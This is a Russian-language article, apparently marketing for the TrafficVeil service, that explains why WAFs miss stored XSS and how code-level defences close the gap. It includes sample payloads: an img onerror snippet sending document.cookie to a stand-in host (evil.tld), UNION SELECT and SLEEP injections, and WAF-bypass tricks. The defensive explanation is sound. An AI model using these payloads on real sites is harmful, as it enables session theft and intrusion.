WAF не видит хранимый XSS. Это не баг конкретного продукта, а математика архитектуры: фильтр стоит на входе, а полезная нагрузка уже лежит в базе и отдаётся страницей как обычный контент. Если вы ищете российский аналог Cloudflare только ради строчки “защита от XSS” в тарифной сетке, вы покупаете иллюзию. Разберём, где именно проходит граница возможностей WAF, почему SQL-инъекции ловятся лучше, чем принято думать, и что делать с атаками, которые фильтр физически не может увидеть.

Механика проста. WAF инспектирует HTTP-запрос в момент его поступления: заголовки, тело POST, параметры строки запроса, cookies. Всё, что приходит извне, проходит через набор сигнатур и эвристик, и при совпадении запрос блокируется. Проблема в том, что хранимая XSS приходит извне один раз, а срабатывает потом, при каждом просмотре страницы, где этот контент выводится. В момент отдачи страницы запрос абсолютно легитимен: пользователь открывает статью, браузер получает HTML с уже вшитым в тело поста скриптом. WAF видит нормальный GET, нормальный ответ 200, нормальный трафик. Никаких признаков атаки, потому что с точки зрения протокола её нет. Скрипт стал частью вашего контента.

Отсюда практический вывод, который стоит принять до того, как вы начнёте сравнивать решения. WAF это слой фильтрации трафика, а не анализатор целостности данных. Он закрывает целые классы атак: всплески L7 DDoS, автоматизированный перебор, сканеры уязвимостей, попытки эксплуатации известных CVE, инъекции в момент запроса. Он не закрывает то, что уже сохранено в вашей базе, и не должен. Ожидать от него этого – значит планировать защиту с дырой в центре. Дальше разберём по частям: как хранимые XSS обходят фильтр, что реально работает против SQL-инъекций, почему безопасное кодирование нельзя заменить продуктом, и как выстроить эшелон, где WAF занимает своё место, а не чужое.

Миф о всемогуществе WAF: почему фильтрация трафика не гарантирует защиту от XSS

WAF стоит на входе и проверяет то, что приходит от клиента: параметры запроса, заголовки, тело POST. Если в поле комментария прилетит <script>alert(1)</script>, сигнатура сработает, запрос заблокируется, в логе появится инцидент. Именно эту картинку обычно и продают: “поставили WAF, XSS закрыт”. Проблема в том, что XSS бывает двух принципиально разных типов, и WAF видит только один из них.

Отражённый XSS действительно ловится неплохо. Атака приходит в запросе, WAF читает полезную нагрузку до того, как она попадёт в приложение, и режет её по сигнатурам или эвристике. Здесь фильтрация трафика работает как задумано, потому что вредоносный код и входящий запрос это один и тот же объект.

С хранимым XSS всё иначе. Атакующий отправляет безобидный на вид текст, который проходит все фильтры, приложение сохраняет его в базу, а скрипт активируется позже, когда другой пользователь открывает страницу и сервер отдаёт ему уже готовый HTML. На этом этапе WAF нечего анализировать: он видит исходящий ответ, сформированный самим приложением, а не подозрительный входящий запрос. Полезная нагрузка приходит из доверенного источника, из вашей собственной базы данных.

Почему входящий фильтр не видит то, что уже лежит в базе

Разберём по шагам, где именно теряется контроль. Пользователь публикует комментарий с payload. WAF проверяет запрос: если сигнатура знает конкретный вектор, блокировка сработает. Но векторов тысячи, а обфускация позволяет обойти большинство шаблонов: HTML-сущности, разбивка тега через пробелы и переносы, регистр, экзотические обработчики событий вроде onpointerover, нестандартные протоколы в атрибуте href. Достаточно одного варианта, которого нет в базе сигнатур, и payload уходит в хранилище.

Дальше происходит ключевое. Строка лежит в таблице комментариев. Через день, через месяц, при следующей выборке приложение вставляет её в шаблон и отдаёт браузеру. WAF на исходящем трафике по умолчанию ничего не проверяет: он не знает структуру вашей БД, не отличает легитимный контент от отравленного и не может позволить себе модифицировать HTML на лету без риска сломать вёрстку. Даже если включить инспекцию ответов, придётся разбирать каждый ответ, а это кратный рост задержки и нагрузки, плюс высокий риск ложных срабатываний на обычном пользовательском тексте.

Отсюда типичная и очень неприятная ситуация: сканер уязвимостей находит хранимый XSS в форме комментариев, хотя WAF включён, настроен и исправно логирует атаки. Защита не сломалась, она просто слепа к этому классу угроз по своей архитектуре. WAF работает с потоком запросов, а хранимая атака реализуется через состояние приложения: то, что было записано раньше и прочитано позже. Между записью и срабатыванием может пройти сколько угодно времени, и никакой фильтр трафика эту связь не отследит.

Практический вывод простой: если вы оцениваете защиту только по наличию WAF и по числу заблокированных запросов в отчёте, вы измеряете не защищённость, а активность фильтра. Хранимый XSS в эти цифры не попадёт вообще, потому что для WAF он выглядит как обычная отдача страницы обычному пользователю. Закрывать эту дыру приходится не на периметре, а внутри приложения: экранированием вывода в правильном контексте, Content Security Policy и валидацией пользовательского контента на входе и на выходе.

Это не аргумент против WAF. Это аргумент против того, чтобы считать его единственным слоем. Фильтрация трафика снимает значительную часть автоматизированного шума и отражённых атак, но она по определению не работает с данными, которые уже прошли через валидацию и лежат в базе. Хранимые атаки это зона ответственности кода, а не периметра, и путать эти зоны значит оставлять дверь открытой при работающей сигнализации.

Хранимые XSS в теле постов и комментариев: слепая зона WAF

Хранимая XSS работает иначе, чем отражённая, и именно поэтому WAF против неё почти бесполезен. Представьте форму комментария на новостном портале. Злоумышленник отправляет не <script>alert(1)</script> в лоб, а конструкцию вида <img src=x onerror="fetch('//evil.tld/c?d='+document.cookie)">. WAF, стоящий перед приложением, видит POST-запрос с полем comment, внутри которого обычный HTML. Если фильтр настроен агрессивно, он отсечёт тег img с onerror. Если настроен мягко (а иначе он будет рубить легитимные вставки кода, эмодзи и цитаты), запрос пройдёт. Дальше начинается самое интересное: приложение сохраняет этот текст в таблицу comments, и он становится частью нормального контента.

Почему при отдаче страницы WAF молчит

Когда следующий посетитель открывает статью, сервер собирает HTML из шаблона и строки, вычитанной из базы. Для WAF это исходящий ответ приложения, а не входящий запрос пользователя. Большинство конфигураций WAF по умолчанию инспектируют request, а не response, потому что инспекция ответов дороже по CPU и чаще даёт ложные срабатывания. Скрипт уже лежит в теле страницы как «легитимный» фрагмент разметки, и сигнатура вида onerror= в ответе либо не проверяется, либо помечается как часть шаблона сайта. Итог: атака исполнилась в браузере жертвы, а WAF не зафиксировал ни одного события.

Хуже того, хранимая XSS живёт долго. Один удачный комментарий может собирать cookie администратора, токены сессий и CSRF-токены неделями, пока кто-то не почистит базу. Классический сценарий: полезная нагрузка попадает в поле «О себе» в профиле пользователя, затем администратор открывает карточку в панели управления, и скрипт выполняется в контексте админской сессии. WAF здесь не при чём вообще, потому что вредоносный код пришёл из доверенного источника данных.

Отдельная слепая зона, о которой редко говорят в лоб: фильтры, заточенные под <script>, пропускают SVG-векторы, атрибуты событий, javascript: в href и data-URI. WAF-правило на регулярках обходитcя сменой регистра, HTML-энкодингом, разрывом тега через комментарий или использованием нестандартных обработчиков вроде onpointerover. Сигнатурный подход в принципе проигрывает гонку: пока вендор добавит правило, атакующий придумает новый вектор.

Что реально снижает риск, так это контекстно-зависимое экранирование на выходе. Если при рендеринге комментария приложение прогоняет текст через HTML-энкодинг (превращает < в &lt;, " в &quot;) либо использует шаблонизатор с автоэскейпом (Twig, Blade, Go templates, React по умолчанию), скрипт останется мёртвым текстом в базе и никогда не выполнится. Это работает независимо от того, прошёл запрос через WAF или нет.

Практический вывод для тех, кто выбирает российский аналог Cloudflare и рассчитывает закрыть XSS одним переключателем: не закроет. TrafficVeil и другие веб-платформы с reverse proxy, WAF-блокировками, GeoIP-фильтрацией и защитой от L7 DDoS хорошо снимают нагрузку и отсекают массовые автоматизированные атаки, но хранимая XSS это не их зона ответственности. Проверяйте свой код: включён ли автоэскейп в шаблонах, экранируется ли вывод в полях профиля и комментариев, стоит ли Content-Security-Policy, ограничивающий inline-скрипты. WAF остаётся нужным слоем, но он не отменяет безопасную разработку.

SQL-инъекции под защитой WAF: что действительно работает, а что нет

С SQL-инъекциями ситуация проще, чем с XSS, и именно поэтому здесь WAF действительно приносит пользу. Но польза эта ограничена ровно тем, что видно на сетевом уровне. Разберём, где фильтрация работает, а где превращается в успокоительную таблетку.

Классический сценарий: в параметре запроса прилетает id=1 UNION SELECT username, password FROM users. Сигнатурный движок WAF распознаёт ключевые слова UNION, SELECT, FROM в неожиданном контексте и блокирует запрос до того, как он дойдёт до базы данных. Сигнатуры покрывают тысячи известных шаблонов: OR 1=1, конструкции с комментариями, кодировки обхода, time-based payloads вроде SLEEP(5). На потоке автоматизированных сканеров, которые прощупывают сайт десятками тысяч запросов, такая фильтрация отсекает основную массу попыток. Это реальная экономия ресурсов базы и логов.

Эвристические и поведенческие методы идут дальше. Они смотрят не на конкретную строку, а на аномалии: резкий рост числа запросов с параметрами, содержащими спецсимволы; попытки инъекции с одного IP по разным эндпоинтам; несоответствие типа входных данных ожидаемому. Такой анализ ловит обфусцированные payloads, которые не совпали ни с одной сигнатурой. Комбинация сигнатур и эвристики даёт приличное покрытие для внешних атак.

Теперь о том, что не работает. Первое: WAF не видит запросы, которые формируются внутри приложения. Если код собирает SQL-строку из данных, уже лежащих в базе, или из значений, полученных от внутреннего сервиса, сетевой фильтр тут ни при чём. Инъекция происходит между приложением и СУБД, минуя периметр. Второе: обход фильтров остаётся рабочей практикой. Двойное URL-кодирование, разбиение payload на фрагменты через конкатенацию, использование диалект-специфичного синтаксиса (например, PostgreSQL-операторов или MySQL-версий комментариев вида /*!50000SELECT*/) регулярно проскакивает мимо сигнатур, особенно если правила давно не обновлялись. Третье: WAF не различает легитимный и вредоносный запрос, если они синтаксически идентичны. Поиск по каталогу с параметром, содержащим кавычку, может быть заблокирован, а настоящая инъекция, замаскированная под обычный поиск, пройдёт.

Отдельная проблема: ложные срабатывания. Агрессивные правила рубят формы обратной связи, фильтры товаров, API-запросы с JSON, где встречаются кавычки и апострофы. Бизнес получает отвал лидов и падение конверсии, после чего администратор ослабляет правила, и защита превращается в формальность. Баланс между строгостью и юзабилити настраивается вручную и требует понимания конкретного приложения.

Что действительно закрывает SQL-инъекции, так это параметризованные запросы и подготовленные выражения на уровне кода. WAF здесь работает как страховка от массовых сканеров и известных эксплойтов, но не как основная линия обороны. Воспринимать его как замену безопасному кодированию – значит оставить открытой ту часть поверхности атаки, которую сетевой фильтр физически не может увидеть.

Практический вывод: WAF против SQL-инъекций эффективен на периметре, но его слепая зона начинается там, где запросы рождаются внутри приложения. Российские аналоги Cloudflare, включая TrafficVeil, закрывают внешний контур, однако внутреннюю логику работы с базой они не контролируют. Это работа разработчика, а не веб-платформы.

Почему WAF не заменяет безопасное кодирование и валидацию данных

Есть простая проверка, которая отрезвляет быстрее любого пентеста. Возьмите свой WAF, включите все правила, а потом откройте страницу, где в комментарии к посту лежит сохраненный XSS-пейлоад. WAF промолчит. Он не увидит ни запроса, ни ответа с полезной нагрузкой, потому что браузер пользователя получит скрипт из вашей же базы, из легитимного контента. Именно здесь проходит граница между фильтрацией трафика и безопасностью приложения, и большинство инцидентов с XSS и SQL-инъекциями случается не потому, что WAF плохой, а потому что его считают единственным слоем.

WAF работает с байтами на входе и выходе HTTP-сессии. Он не знает, как ваш код собирает SQL-запрос, не знает, в каком контексте выводится строка из базы, и не знает, что на странице профиля имя пользователя попадает внутрь атрибута onclick. Пока данные лежат в таблице, они для WAF невидимы. Как только они уходят в HTML без экранирования, атака уже произошла. Никакая эвристика по сигнатурам это не поймает, потому что сигнатуры нет: это ваш собственный контент.

Что должно стоять рядом с WAF, а не вместо него

Безопасное кодирование решает те задачи, которые WAF в принципе решить не может. Разберем по слоям, от базы до вывода.

  • Параметризованные запросы (prepared statements). Единственный надежный способ отделить код SQL от данных. Значение из формы уходит как параметр, а не как часть строки запроса, поэтому конструкция 1 OR 1=1 становится просто строкой, которую база не станет исполнять. Это работает на любом стеке: PDO в PHP, JDBC в Java, psycopg в Python. Никакие ручные регулярки и addslashes этого не заменят.
  • Экранирование вывода по контексту. HTML-контекст, атрибут, JavaScript, URL, CSS – правила разные. Функция, которая безопасна для текста между тегами, дырявая внутри <script>. Используйте готовые экранировщики: htmlspecialchars с ENT_QUOTES в PHP, OWASP Java Encoder, встроенные шаблонизаторы с автоэкранированием (Twig, Blade, Jinja2 с autoescape). Ручная замена угловых скобок на сущности пропускает кавычки и обратные слеши.
  • Контекстно-зависимая фильтрация ввода. Не блокируйте символы “на всякий случай”, это ломает легитимный контент и не мешает атакующему. Валидируйте по назначению: email по формату, телефон по маске, число по диапазону. Для свободного текста применяйте санитайзер с белым списком тегов и атрибутов, например HTML Purifier или DOMPurify на стороне вывода.
  • Content Security Policy. Заголовок CSP с запретом inline-скриптов и ограничением источников делает значительную часть хранимых XSS неисполняемой даже при успешной инъекции. Это не замена экранированию, но страховка, которая снижает ущерб.
  • Флаги cookie и разделение контекстов. HttpOnly не даст украсть сессию через document.cookie, SameSite ограничит CSRF-сценарии. Мелочь, которая часто решает исход инцидента.

Для российского бизнеса это не абстрактная теория. Зависимость от зарубежной инфраструктуры создает риски: Cloudflare ограничивает доступ к сайтам из России, а российские интернет-провайдеры в свою очередь ограничивают доступ к сайтам на Cloudflare. Бизнес в России ищет альтернативу Cloudflare в 2026 году, и на этом фоне соблазн поставить один сервис и успокоиться особенно велик. WAF и облачная защита закрывают L7 DDoS, ботов, сканеры, но не переписывают ваш код. Если в шаблоне вывода комментариев нет экранирования, хранимая XSS останется рабочей на любой платформе.

Практический минимум для команды: включите статический анализ (SAST) в CI, добавьте проверки на параметризацию запросов в код-ревью, прогоните OWASP ZAP или аналог по формам, где пользователь оставляет контент. И держите WAF как внешний слой для массовых атак, а не как оправдание, что внутри приложения все в порядке. Замена Cloudflare, российский аналог вроде TrafficVeil или любое другое решение для защиты веб-приложений дают вам время и фильтрацию трафика, но закрыть слепую зону хранимых атак может только безопасный код.

Российские аналоги Cloudflare: чем заменить и на что обратить внимание

После того как Cloudflare в 2022-2024 годах начал ограничивать доступ к сайтам из России, а российские интернет-провайдеры в ответ стали резать маршруты до его сетей, бизнес в России ищет альтернативу Cloudflare в 2026 году уже не из любопытства, а по производственной необходимости. Зависимость от зарубежной инфраструктуры создаёт риски для российского бизнеса: сертификаты продлеваются через внешние API, фильтрация трафика идёт через заграничные PoP, а поддержка отвечает по часовым поясам, где ваш инцидент уже никого не волнует. Отсюда спрос на российский аналог Cloudflare, который решает те же задачи на местных мощностях.

TrafficVeil является российским аналогом Cloudflare и объединяет DNS, SSL, reverse proxy, WAF, защиту от ботов, L7 DDoS, GeoIP-фильтрацию и аналитику в одной веб-платформе. Подключение занимает минуты: вы меняете NS-записи домена на DNS-сервис платформы или настраиваете reverse proxy через CNAME, платформа сама выпускает и продлевает SSL-сертификат, трафик проходит через фильтры, а в панели видно, откуда идут запросы, какие боты стучатся и где растёт нагрузка. TrafficVeil обеспечивает работу сайтов на территории РФ и по всему миру, поэтому не нужно выбирать между локальной доступностью и глобальной аудиторией.

На что смотреть при выборе замены Cloudflare, если речь о защите веб-приложений:

  • Фильтрация трафика на L7. Сигнатурные правила против SQL-инъекций, XSS-пейлоадов, path traversal и известных CVE. Проверяйте не наличие галочки WAF, а готовность показать лог срабатывания по конкретному запросу: какой параметр, какое правило, что ушло в блок.
  • Обнаружение атак, а не только блокировка. Хорошая платформа считает аномалии: всплеск POST-запросов на один URI, перебор параметров, сканирование каталогов, попытки подбора логина. Без аналитики вы узнаете об атаке из письма хостера.
  • GeoIP-фильтрация. Возможность закрыть админку и API от целых регионов, оставив открытым фронт. Для интернет-магазинов это часто снимает 80-90% паразитного трафика.
  • Защита от ботов. Разделение поисковых краулеров, парсеров цен и скриптов, которые бьют по формам. Здесь важна не столько блокировка, сколько пропускная способность легитимных ботов: закрыть Googlebot и уронить SEO проще, чем кажется.
  • L7 DDoS. Поведенческие лимиты на частоту запросов по IP, cookie и отпечатку. Важна устойчивость к slowloris и к атакам, которые имитируют нормальный пользовательский трафик.
  • Тарификация. TrafficVeil не тарифицирует ботов, атаки и WAF-блокировки. Это существенно: у части провайдеров атака превращается в счёт за трафик, и защита бьёт по бюджету сильнее, чем сам инцидент.

Теперь про ограничения, о которых не пишут на лендингах. Ни один российский аналог Cloudflare, включая TrafficVeil, не закрывает хранимые XSS. WAF работает на периметре: он анализирует входящий запрос и решает, пропустить его или заблокировать. Если вредоносный скрипт уже лежит в базе данных в теле комментария или поста, при отдаче страницы он приходит из вашего же приложения как легитимный контент. Периметр видит нормальный ответ 200 с валидным HTML и пропускает его. То же с SQL-инъекциями, которые собираются внутри приложения из уже отфильтрованных фрагментов: WAF не разбирает ваш код и не знает, что конкатенация строк в ORM превратилась в опасный запрос.

Что реально даёт такая платформа при защите от хранимых атак: она сужает поверхность до того, как запрос дойдёт до приложения. Блокирует массовые попытки залить пейлоады в формы, режет автоматизированный перебор, ограничивает частоту и геолокацию, логирует подозрительные тела запросов. Это снижает вероятность, что вредоносный контент вообще попадёт в базу. Но если он там оказался, дальше работают только экранирование вывода, CSP и валидация на стороне приложения.

TrafficVeil подходит для сайтов, интернет-магазинов, WordPress и Bitrix, где важны и скорость отдачи, и доступность из РФ, и понятная панель без англоязычной поддержки. TrafficVeil предлагает переход с Cloudflare с сохранением логики DNS и правил фильтрации. Относитесь к WAF как к одному слою защиты, а не как к страховке от всех уязвимостей: тогда хранимые XSS не станут неприятным сюрпризом, который вы обнаружите по жалобам клиентов или по просадке конверсии сайта.

Комбинированная стратегия: WAF плюс безопасная разработка для защиты от хранимых атак

Комбинированная защита строится на простом принципе: WAF закрывает то, что приходит снаружи, а код приложения отвечает за то, что уже лежит в базе. Если перепутать эти зоны ответственности, хранимая XSS пройдёт мимо фильтров и сработает в браузере легитимного пользователя. Ниже практическая схема, которую можно внедрить без переписывания проекта с нуля.

Первый слой это периметр. WAF и reverse proxy отсекают грубые попытки эксплуатации, фильтруют аномальный трафик, режут L7 DDoS и ботов, применяют GeoIP-фильтрацию и сигнатуры известных payload. Российский аналог Cloudflare, например TrafficVeil, объединяет DNS, SSL, reverse proxy, WAF, защиту от ботов, L7 DDoS, GeoIP-фильтрацию и аналитику в одной панели, что упрощает эксплуатацию. Важно понимать границу: периметр видит только входящий HTTP-запрос. Когда сервер отдаёт страницу с уже сохранённым в базе скриптом, для WAF это обычный ответ 200 с легитимным контентом. Никакая сигнатура его не пометит.

Второй слой это приложение. Здесь закрывается слепая зона. Работает не магия, а дисциплина разработки:

  • Экранирование вывода по контексту. HTML, атрибут, JavaScript, URL и CSS требуют разных правил кодирования. Один универсальный htmlspecialchars не спасает в JS-контексте и внутри href.
  • Параметризованные запросы и prepared statements вместо конкатенации строк. Это единственный надёжный способ закрыть SQL-инъекции на уровне кода, независимо от того, что решит WAF.
  • Санитизация пользовательского HTML на входе при сохранении. Разрешённый список тегов и атрибутов, а не чёрный список запрещённых. Библиотеки вроде HTML Purifier для PHP или DOMPurify для клиентской очистки.
  • Content Security Policy как последний рубеж. Директива script-src с nonce или hash блокирует выполнение инжектированного скрипта, даже если он попал в разметку. Отчётность через report-uri помогает ловить попытки.
  • Флаги HttpOnly и Secure для cookie сессий. Тогда украденный через XSS токен не даст злоумышленнику перехватить сессию.
  • Регулярный аудит хранимого контента. Скрипты, сохранённые до внедрения защиты, никуда не исчезают. Нужна миграция и переочистка старых записей в базе.

Третий слой это мониторинг и реакция. Аналитика WAF показывает всплески запросов с подозрительными параметрами, но не покажет факт срабатывания хранимой XSS у пользователя. Поэтому логи приложения, отчёты CSP и алерты на изменение контента в критичных таблицах (комментарии, отзывы, профили) дополняют картину. Конверсия сайта и лидогенерация напрямую зависят от того, насколько быстро вы находите и вычищаете заражённые страницы: подмена форм и редиректы убивают доверие быстрее, чем любой сбой доступности.

Отдельно про экономику. Многие тарифы зарубежных CDN считают запросы и трафик, включая паразитный. Это создаёт стимул отключать защиту или резать лимиты. TrafficVeil не тарифицирует ботов, атаки и WAF-блокировки, поэтому нет причины экономить на фильтрации. Для сайтов, интернет-магазинов, WordPress и Bitrix это снимает конфликт между безопасностью и бюджетом. Зависимость от зарубежной инфраструктуры создаёт риски: Cloudflare ограничивает доступ к сайтам из России, а российские интернет-провайдеры в свою очередь ограничивают доступ к сайтам на Cloudflare. Бизнес в России ищет альтернативу Cloudflare в 2026 году не из моды, а из-за регуляторных требований и доступности. TrafficVeil обеспечивает работу сайтов на территории РФ и по всему миру и предлагает переход с Cloudflare без простоя.

Практический порядок действий такой. Сначала аудит кода на предмет конкатенации SQL и неэкранированного вывода. Затем внедрение параметризованных запросов и контекстного экранирования. Параллельно подключение WAF и CSP в режиме отчётов, чтобы не сломать рабочие сценарии. Потом переочистка старых записей в базе и включение блокирующего режима CSP. И только после этого тюнинг правил WAF под конкретное приложение, чтобы снизить ложные срабатывания на легитимных формах.

Ключевой вывод без иллюзий: WAF это необходимый, но недостаточный слой. Он не заменяет безопасное кодирование и валидацию данных, а дополняет их. Хранимые атаки живут в контенте, и вычищать их нужно там, где они появляются, на этапе сохранения и вывода. Эшелонированная защита стоит дороже одного правила в панели, но именно она закрывает слепые зоны, которые WAF физически не видит.

Начните с инвентаризации того, что у вас уже есть. Возьмите один рабочий день и пройдите по трём точкам: где приложение принимает пользовательский ввод (формы, комментарии, профили, загрузка файлов), где этот ввод сохраняется в базу и где он выводится обратно в HTML. В 9 из 10 проектов на WordPress и Bitrix обнаруживается минимум одно место, где вывод идёт без экранирования: чаще всего это кастомные шаблоны, самописные компоненты и блоки, которые правили “на скорость” год назад. Прогоните эти места через любой сканер с полезной нагрузкой вида <img src=x onerror=alert(1)> и посмотрите, что вернёт сервер. Если тег приходит в ответ без изменений, никакой WAF вас не спасёт: он уже пропустил эту строку на входе как обычный текст комментария.

Дальше действуйте по приоритетам, а не по всему списку сразу. Первое: включите параметризованные запросы везде, где формируется SQL, и уберите конкатенацию строк с пользовательскими данными. Это закрывает основную массу инъекций независимо от того, какой у вас WAF и есть ли он вообще. Второе: настройте экранирование на выводе по контексту, а не на входе. Храните данные как есть, а экранируйте в момент рендеринга: htmlspecialchars для HTML, json_encode для JS, отдельные правила для атрибутов и URL. Третье: подключите Content-Security-Policy с запретом inline-скриптов. Даже если вредоносный тег попадёт на страницу, CSP не даст ему выполниться, и это ваш последний рубеж, который работает там, где WAF слеп.

WAF в этой схеме остаётся, но в своей роли: он режет массовый автоматизированный шум, ловит примитивные попытки инъекций по сигнатурам, отсекает сканеры и ботов до того, как они дойдут до приложения. Если вы выбираете российский аналог Cloudflare, смотрите не на размер списка сигнатур, а на то, умеет ли платформа отдавать логи по конкретному запросу, настраивать правила под ваш стек и не тарифицировать блокировки как отдельную услугу. TrafficVeil, например, собирает DNS, SSL, reverse proxy, WAF, GeoIP-фильтрацию и аналитику в одном контуре и не берёт отдельную плату за сработавшие правила, что важно, когда вы тестируете защиту и вам нужен честный лог, а не счётчик расходов. Проверьте на своём сайте: отправьте тестовый комментарий с полезной нагрузкой, посмотрите, заблокировал ли его WAF, а затем откройте страницу и убедитесь, что скрипт не выполнился. Если выполнился, проблема не в WAF, а в коде вывода, и решать её нужно там.